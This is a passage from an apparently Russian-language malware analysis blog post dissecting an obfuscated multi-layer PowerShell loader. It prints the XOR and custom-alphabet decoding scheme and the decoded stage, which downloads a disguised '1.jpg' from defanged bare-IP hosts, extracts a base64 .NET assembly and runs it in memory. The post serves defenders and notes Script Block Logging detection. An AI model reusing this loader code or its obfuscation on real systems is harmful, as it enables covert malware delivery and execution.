\u0440\u0430\u0437\u0430, \u0430 \u043c\u043e\u0436\u0435\u0442 \u0438 \u043d\u0435 \u043f\u043e\u0432\u0435\u0437\u0442\u0438 \u0438 \u0431\u0443\u0434\u0435\u0448\u044c \u043a\u043e\u0432\u044b\u0440\u044f\u0442\u044c\u0441\u044f \u0447\u0430\u0441\u0430 \u0442\u0440\u0438. \u0427\u0435\u043c \u0431\u043e\u043b\u044c\u0448\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438, \u0442\u0435\u043c \u0432\u044b\u0448\u0435 \u0448\u0430\u043d\u0441 \u0447\u0442\u043e \u0442\u0435\u0431\u0435 \u00ab\u043f\u043e\u0432\u0435\u0437\u0435\u0442\u00bb \u0441 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0440\u0430\u0437\u0430.<\/p>\n
\u041d\u043e \u0432 \u0446\u0435\u043b\u043e\u043c \u0437\u0430\u0447\u0435\u043c \u043d\u0443\u0436\u0435\u043d \u0441\u0432\u043e\u0439 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0430\u043b\u0444\u0430\u0432\u0438\u0442? \u041f\u0440\u0438\u0447\u0438\u043d\u0430 \u0432\u0441\u0435 \u0442\u0430 \u0436\u0435: \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u044b \u043f\u043e \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u0430\u043c. \u041b\u044e\u0431\u043e\u0439 \u043c\u0430\u043b\u043e-\u043c\u0430\u043b\u044c\u0441\u043a\u0438 \u043f\u0440\u0438\u043b\u0438\u0447\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442-\u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440 \u0437\u043d\u0430\u0435\u0442, \u043a\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0448\u0435\u0441\u0442\u043d\u0430\u0434\u0446\u0430\u0442\u0435\u0440\u0438\u0447\u043d\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430. \u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c 0\u20139a\u2013f<\/code> \u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0431\u0443\u043a\u0432\u044b \u2014 \u0438 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 \u0443 \u0434\u0435\u0442\u0435\u043a\u0442\u043e\u0440\u0430 \u0443\u0436\u0435 \u043d\u0435 hex, \u0430 \u043a\u0430\u0448\u0430. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0430\u043c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043b\u043e\u0430\u0434\u0435\u0440\u0430 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u0435\u0442: \u043e\u043d \u0431\u0435\u0440\u0451\u0442 \u0431\u0430\u0439\u0442\u044b \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438, \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0438\u0442 \u0438\u0445 \u0432 hex \u0441\u0432\u043e\u0435\u0439 \u0430\u043b\u0444\u0430\u0432\u0438\u0442\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u0438 \u0440\u0430\u0434\u0443\u0435\u0442\u0441\u044f.<\/p>\n
alphabet = \"fZsdYdfgJxzymLlj\"            # 16 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432: \u0438\u043d\u0434\u0435\u043a\u0441 = \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0443\u0431\u0430\u0439\u0442\u0430seed     = \"Dsdkdy2x68ZT3cw\"key_1 = [ord(d) ^ 0x5A for c in seed]key_2 = [ord(d) ^ 0xA5 for c in seed]key_3 = [ord(d) ^ 0x3C for c in seed]byte_i = (alphabet.index(c3) * 16 + alphabet.index(c2)) ^ key[i % 15]stage3 = decode(blob_1, key_1) + decode(blob_2, key_2) + decode(blob_3, key_3)& ([char[]](105,101,120) -join '') $stage3       # iex<\/code>
<\/span><\/a><\/div><\/pre>\n
\u041a\u0430\u0436\u0434\u044b\u0439 \u0438\u0437 \u0442\u0440\u0451\u0445 \u0431\u043b\u043e\u043a\u043e\u0432 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d XOR-\u043e\u043c. \u041a\u043b\u044e\u0447\u0438 \u0440\u0430\u0437\u043d\u044b\u0435, \u043d\u043e \u0432\u044b\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043e\u0431\u0449\u0435\u0433\u043e \u00ab\u0437\u0435\u0440\u043d\u0430\u00bb \u2014 \u0442\u043e\u0436\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0438\u0437 \u0448\u0435\u0441\u0442\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432. \u041a \u043a\u0430\u0436\u0434\u043e\u043c\u0443 \u0441\u0438\u043c\u0432\u043e\u043b\u0443 \u0437\u0435\u0440\u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0441\u0432\u043e\u044f \u043a\u043e\u043d\u0441\u0442\u0430\u043d\u0442\u0430: \u0433\u0434\u0435-\u0442\u043e 0x5A<\/code>, \u0433\u0434\u0435-\u0442\u043e 0xA5<\/code>, \u0433\u0434\u0435-\u0442\u043e 0x3C<\/code>. \u041f\u043e\u043b\u0443\u0447\u0430\u044e\u0442\u0441\u044f \u0442\u0440\u0438 \u043a\u043b\u044e\u0447\u0430 \u043f\u043e 15 \u0431\u0430\u0439\u0442 \u043a\u0430\u0436\u0434\u044b\u0439. \u041f\u0440\u043e\u0441\u0442\u043e\u0435 \u0430\u0440\u0438\u0444\u043c\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0443\u043f\u0440\u0430\u0436\u043d\u0435\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0434\u0430\u0451\u0442 \u0442\u0440\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 XOR-\u043a\u043b\u044e\u0447\u0430 \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0438\u0445 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0435.<\/p>\n
\u0414\u0430\u043b\u044c\u0448\u0435 \u2014 \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e: \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u044b\u0439 XOR, \u0441\u043a\u043b\u0435\u0439\u043a\u0430 \u0442\u0440\u0451\u0445 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0431\u043b\u043e\u043a\u043e\u0432 \u043f\u043e\u0434\u0440\u044f\u0434, \u0438 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u2014 \u0446\u0435\u043b\u044c\u043d\u043e\u0435 \u0442\u0435\u043b\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0441\u043b\u043e\u044f. \u041c\u0435\u0436\u0434\u0443 \u0431\u043b\u043e\u043a\u0430\u043c\u0438 \u0438 \u043a\u043b\u044e\u0447\u0430\u043c\u0438 \u0440\u0430\u0437\u0431\u0440\u043e\u0441\u0430\u043d\u044b \u0448\u0443\u043c\u043e\u0432\u044b\u0435 \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u043e\u0434\u0435 $j = 73 - 75<\/code> \u0438\u043b\u0438 $tFZ5iX = 0x8E2A - 0x36E1<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0438 \u043d\u0430 \u0447\u0442\u043e \u043d\u0435 \u0432\u043b\u0438\u044f\u044e\u0442. \u041f\u0440\u043e\u0441\u0442\u043e \u0435\u0449\u0451 \u043e\u0434\u0438\u043d \u0441\u043b\u043e\u0439 \u0434\u0435\u043a\u043e\u0440\u0430\u0446\u0438\u0439 \u0434\u043b\u044f \u0431\u0435\u0433\u043b\u043e\u0433\u043e \u0432\u0437\u0433\u043b\u044f\u0434\u0430.<\/p>\n
\u041a\u043e\u0433\u0434\u0430 \u0431\u043b\u043e\u043a\u0438 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u044b \u0438 \u0441\u043a\u043b\u0435\u0435\u043d\u044b, \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u0439, \u043d\u043e \u0432\u043f\u043e\u043b\u043d\u0435 \u043e\u0441\u043c\u044b\u0441\u043b\u0435\u043d\u043d\u044b\u0439 PowerShell-\u0441\u043a\u0440\u0438\u043f\u0442 \u2014 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0441\u043b\u043e\u044f. \u041d\u0438\u0447\u0435\u0433\u043e \u044d\u043a\u0437\u043e\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e: \u043f\u0430\u0440\u0430 \u0441\u0442\u0440\u043e\u043a \u043f\u0440\u043e TLS, \u0432\u044b\u0437\u043e\u0432 Add-Type<\/code> \u0441 C#-\u043e\u0431\u0451\u0440\u0442\u043a\u043e\u0439, \u0442\u0440\u0438 URL-\u0430\u0434\u0440\u0435\u0441\u0430, \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0438 \u0432\u044b\u0437\u043e\u0432 \u043c\u0435\u0442\u043e\u0434\u0430 \u0438\u0437 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0438. \u041e\u0431 \u044d\u0442\u043e\u043c \u2014 \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u0441\u043b\u043e\u0435, \u0430 \u043f\u043e\u043a\u0430 \u043e\u0442\u043c\u0435\u0442\u0438\u043c \u0432\u0430\u0436\u043d\u043e\u0435.<\/p>\n
<DEFANGED>Start-Sleep -Seconds 3[Net.ServicePointManager]:SecurityProtocol = [NetSecurityProtocolType]:Tls12Add-Type - TypeDefinition @'using System; using System.Reflection;public class PhantoggfnNOtg {  public static Assembly LoadAssembly(byte[] j) {    Assembly a = AssemblyGetExecutingAssembly(); if (a != null) {}    return AppDomainCurrentDomain.Load(j);  }}'@function d($urls) { $wc = New-Object NetWebClient    (Get-Random $urls -Count $urls.Count) | % { try { return $wc.DownloadData($_) } catch {} } }function i($bytes, $type, $method, $args = @()) {    $asm = [PhantoggfnNOtg]:LoadAssembly($bytes)    $t   = $asm.GetTypes() | ? { $_.FullName -eq $type }    $m   = $tGetMethod($method, [Reflection.BindingFlags]'Public,NonPublic,Static,Instance')    $o   = if (!$m.IsStatic) { [Activator]::CreateInstance($t) }    $m.Invoke($o, $args) }$b1 = @('hxxp:\/\/64[.]224[.]17[.]115\/img\/1[.]jpg',        'hxxp:\/\/217[.]60[.]76[.]249:8080\/1[.]jpg',        'hxxp:\/\/104[.]223[.]84[.]34\/1[.]jpg')if (($b2 = d $b1) -and ([Text.Encoding]::UTF8.GetString($b2)) -match '<<STT>>(.*?)<<D>>') {    $b3 = 'txt[.]dmfdjbd\/lpxs\/moc[.]fnqpdt[.]dn\/\/:gsfkgfhfsfsd'    $b3 = $b3.Substring(0, $b3.Length - 12)          # \u043e\u0442\u0440\u0435\u0437\u0430\u0435\u043c 12 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u043c\u0443\u0441\u043e\u0440\u0430, \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0430\u0434\u0440\u0435\u0441, \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u0434\u043e\u043c \u043d\u0430\u043f\u0435\u0440\u0451\u0434    i ([Convert]::FromBase64String($Matches[1])) 'myprogram.Homees' 'runss' `      @($b3, '0', '', 'Msbuild', '0', 'x64')    Get-Process | sort CPU -desc | select -first 5 | ft Name,CPU   # \u0448\u0443\u043c}<\/code>
<\/span><\/a><\/div><\/pre>\n
\u0412\u0441\u044f \u044d\u0442\u0430 \u0432\u043e\u0437\u043d\u044f \u0441 \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u043c \u0430\u043b\u0444\u0430\u0432\u0438\u0442\u043e\u043c, \u0442\u0440\u0435\u043c\u044f \u043a\u043b\u044e\u0447\u0430\u043c\u0438 \u0438 \u0442\u0440\u0435\u043c\u044f \u0431\u043b\u043e\u043a\u0430\u043c\u0438 \u043e\u0431\u043d\u0443\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u043e\u0439 PowerShell. \u0421\u043a\u0440\u0438\u043f\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 iex<\/code> \u2014 Invoke-Expression<\/code>, \u0438 \u043f\u043e\u0441\u043b\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 \u0438\u043c\u0435\u043d\u043d\u043e \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0442\u0435\u043b\u043e \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 Script Block Logging. \u0415\u0441\u043b\u0438 \u0436\u0443\u0440\u043d\u0430\u043b Microsoft-Windows-PowerShell\/Operational<\/code> \u0432\u043a\u043b\u044e\u0447\u0451\u043d \u0438 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0432 SIEM, \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0443\u0432\u0438\u0434\u0438\u0442 \u0432 \u043d\u0451\u043c \u043d\u0435 \u043c\u0435\u0448\u0430\u043d\u0438\u043d\u0443 \u0438\u0437 \u0431\u0443\u043a\u0432, \u0430 \u0447\u0438\u0441\u0442\u044b\u0439, \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 PowerShell. \u0412\u0441\u0451 \u0442\u043e, \u0447\u0442\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043b\u043e\u0430\u0434\u0435\u0440\u0430 \u0430\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u043e \u043f\u0440\u044f\u0442\u0430\u043b, \u043e\u043a\u0430\u0436\u0435\u0442\u0441\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435 \u2014 \u043f\u0440\u043e\u0441\u0442\u043e \u0432 \u0434\u0440\u0443\u0433\u043e\u043c \u043c\u0435\u0441\u0442\u0435.<\/p>\n
\u042d\u0442\u043e \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043b\u043e\u0432\u0443\u0448\u043a\u0430 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438: \u043e\u043d\u0430 \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u0442 \u043e\u0442 \u0433\u043b\u0430\u0437, \u043d\u043e \u043d\u0435 \u043e\u0442 \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432. \u041f\u043e\u043a\u0430 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044f \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 \u2014 \u043e\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u041a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u0434 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0435\u0433\u043e \u0432\u0438\u0434\u0438\u0442 \u0441\u0430\u043c \u0434\u0432\u0438\u0436\u043e\u043a PowerShell, \u0430 \u0434\u0432\u0438\u0436\u043e\u043a \u2014 \u0435\u0441\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u2014 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u0431 \u044d\u0442\u043e\u043c \u0436\u0443\u0440\u043d\u0430\u043b\u0443. \u041a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u0439 \u0430\u043b\u0444\u0430\u0432\u0438\u0442 \u0437\u0434\u0435\u0441\u044c \u043d\u0435 \u0437\u0430\u0449\u0438\u0442\u0430, \u0430 \u043a\u043e\u0441\u043c\u0435\u0442\u0438\u043a\u0430.<\/p>\n
\u0412\u044b\u0432\u043e\u0434 \u043f\u0440\u043e\u0441\u0442\u043e\u0439: \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044f, \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u043d\u043d\u0430\u044f \u043d\u0430 \u0433\u043b\u0430\u0437\u0430, \u043d\u0435 \u043f\u0435\u0440\u0435\u0436\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u0438 \u0441 \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u043c. \u0414\u0432\u0438\u0436\u043e\u043a PowerShell \u0432\u0438\u0434\u0438\u0442 \u043a\u043e\u0434 \u0443\u0436\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0438 \u043f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u043c Script Block Logging (\u0441\u043e\u0431\u044b\u0442\u0438\u0435 4104) \u043e\u043d \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 \u0436\u0443\u0440\u043d\u0430\u043b \u0446\u0435\u043b\u0438\u043a\u043e\u043c. <\/p>\n
\u0418 \u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u0432\u0430\u0436\u043d\u0430\u044f \u0434\u0435\u0442\u0430\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043d\u043e\u0433\u043e\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0438 \u043a\u043e\u0434\u0430. \u0418\u043c\u0435\u043d\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0435 \u2014 \u0432\u0438\u0434\u0430 $mX1uNjJlf<\/code>, $sdg3KoJSL<\/code>, $aUldfZdYn<\/code>. \u042d\u0442\u043e \u043d\u0435 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438, \u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438: \u0431\u0443\u043a\u0432\u044b \u0438 \u0446\u0438\u0444\u0440\u044b \u0441\u043c\u0435\u0448\u0430\u043d\u044b \u043f\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0443, \u043f\u043e\u0445\u043e\u0436\u0435\u043c\u0443 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0430\u0432\u0442\u043e\u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0442\u043e\u0440. \u0412 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0448\u0443\u043c\u043e\u0432\u044b\u043c\u0438 \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u0438 \u043b\u043e\u0436\u043d\u044b\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438 \u0438\u0437 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0441\u043b\u043e\u044f \u044d\u0442\u043e \u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u043e\u0440\u0442\u0440\u0435\u0442: \u043f\u0435\u0440\u0435\u0434 \u043d\u0430\u043c\u0438 \u043d\u0435 \u0440\u0443\u043a\u043e\u043f\u0438\u0441\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430-\u0443\u043f\u0430\u043a\u043e\u0432\u0449\u0438\u043a\u0430. \u0427\u0442\u043e, \u043a\u0441\u0442\u0430\u0442\u0438, \u0445\u043e\u0440\u043e\u0448\u0430\u044f \u043d\u043e\u0432\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u2014 \u0443 \u0442\u0430\u043a\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0435\u0441\u0442\u044c \u0443\u0437\u043d\u0430\u0432\u0430\u0435\u043c\u044b\u0439 \u043f\u043e\u0447\u0435\u0440\u043a, \u0438 \u043e\u0434\u0438\u043d \u0440\u0430\u0437 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0432\u0448\u0438\u0441\u044c, \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0440\u0430\u0437 \u0442\u0430\u043a\u0438\u0435 \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u044b \u0432\u0438\u0434\u043d\u044b \u0437\u0430 \u043f\u044f\u0442\u044c \u043c\u0438\u043d\u0443\u0442.<\/p>\n
\u0414\u0430\u043b\u044c\u0448\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0443\u0436\u0435 \u043d\u0435 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044f, \u0430 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0447\u0442\u043e-\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442: \u043a\u0430\u0447\u0430\u0435\u0442 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0443, \u0432\u044b\u0442\u0430\u0441\u043a\u0438\u0432\u0430\u0435\u0442 \u0438\u0437 \u043d\u0435\u0451 \u0441\u0431\u043e\u0440\u043a\u0443 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0435\u0451 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438. \u041e\u0431 \u044d\u0442\u043e\u043c \u2014 \u0432 \u0441\u043b\u043e\u0435 3.<\/p>\n
\u0421\u043b\u043e\u0439 3. \u0417\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0449\u0435\u0442 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0443<\/h2>\n
\u0420\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0442\u0435\u043b\u043e \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u0441\u043b\u043e\u044f \u2014 \u044d\u0442\u043e \u0443\u0436\u0435 \u043f\u043e\u0447\u0442\u0438 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 PowerShell. \u041e\u043a\u043e\u043b\u043e \u0441\u043e\u0442\u043d\u0438 \u0441\u0442\u0440\u043e\u043a, \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u0445 \u0430\u043b\u0444\u0430\u0432\u0438\u0442\u043e\u0432, \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0442\u0440\u0451\u0445 \u043a\u043b\u044e\u0447\u0435\u0439 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0437\u0435\u0440\u043d\u0430. \u041f\u0440\u043e\u0441\u0442\u043e \u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u0432\u043e\u044e \u0440\u0430\u0431\u043e\u0442\u0443. \u0418 \u0440\u0430\u0431\u043e\u0442\u0430 \u044d\u0442\u0430 \u2014 \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0443.<\/p>\n
\u041f\u0440\u0430\u0432\u0434\u0430, \u00ab\u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430\u00bb \u0437\u0434\u0435\u0441\u044c \u0432 \u043a\u0430\u0432\u044b\u0447\u043a\u0430\u0445. \u041e\u0431 \u044d\u0442\u043e\u043c \u2014 \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u0441\u043b\u043e\u0435, \u0430 \u043f\u043e\u043a\u0430 \u0440\u0430\u0437\u0431\u0435\u0440\u0451\u043c \u0441\u0430\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432 \u043d\u0451\u043c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439.<\/p>\n
\u041f\u0435\u0440\u0432\u043e\u0435, \u0447\u0442\u043e \u0431\u0440\u043e\u0441\u0430\u0435\u0442\u0441\u044f \u0432 \u0433\u043b\u0430\u0437\u0430, \u2014 \u0441\u043f\u0438\u0441\u043e\u043a \u0438\u0437 \u0442\u0440\u0451\u0445 URL. \u0412\u0441\u0435 \u0442\u0440\u0438 \u0432\u0435\u0434\u0443\u0442 \u043a \u0444\u0430\u0439\u043b\u0443 \u0441 \u0438\u043c\u0435\u043d\u0435\u043c 1.jpg<\/code>, \u043d\u043e \u043b\u0435\u0436\u0430\u0442 \u043d\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u0430\u0434\u0440\u0435\u0441\u0430\u0445: \u043e\u0434\u0438\u043d \u2014 \u043d\u0430 \u0433\u043e\u043b\u043e\u043c IP-\u0430\u0434\u0440\u0435\u0441\u0435, \u0432\u0442\u043e\u0440\u043e\u0439 \u2014 \u043d\u0430 IP-\u0430\u0434\u0440\u0435\u0441\u0435 \u0441 \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u043c \u043f\u043e\u0440\u0442\u043e\u043c, \u0442\u0440\u0435\u0442\u0438\u0439 \u2014 \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u043c IP-\u0430\u0434\u0440\u0435\u0441\u0435, \u0442\u043e\u0436\u0435 \u0433\u043e\u043b\u043e\u043c. \u0414\u043e\u043c\u0435\u043d\u043d\u044b\u0445 \u0438\u043c\u0451\u043d \u043d\u0435\u0442 \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e. \u042d\u0442\u043e \u043d\u0435 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u043e\u0441\u0442\u044c: \u0434\u043e\u043c\u0435\u043d \u043d\u0430\u0434\u043e \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0437\u0430 \u043d\u0438\u043c \u043d\u0430\u0434\u043e \u0441\u043b\u0435\u0434\u0438\u0442\u044c, \u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u043b\u0438\u0442\u044c \u0432 \u043f\u0430\u0441\u0441\u0438\u0432\u043d\u044b\u0439 DNS \u0438 \u0437\u0430\u0431\u0430\u043d\u0438\u0442\u044c \u043e\u0434\u043d\u0438\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c. \u0413\u043e\u043b\u044b\u0439 IP \u2014 \u0434\u0435\u0448\u0435\u0432\u043b\u0435, \u0441\u043a\u0443\u0447\u043d\u0435\u0435 \u0438 \u0436\u0438\u0432\u0451\u0442 \u0434\u043e\u043b\u044c\u0448\u0435, \u043f\u043e\u043a\u0430 \u0435\u0433\u043e \u043d\u0435 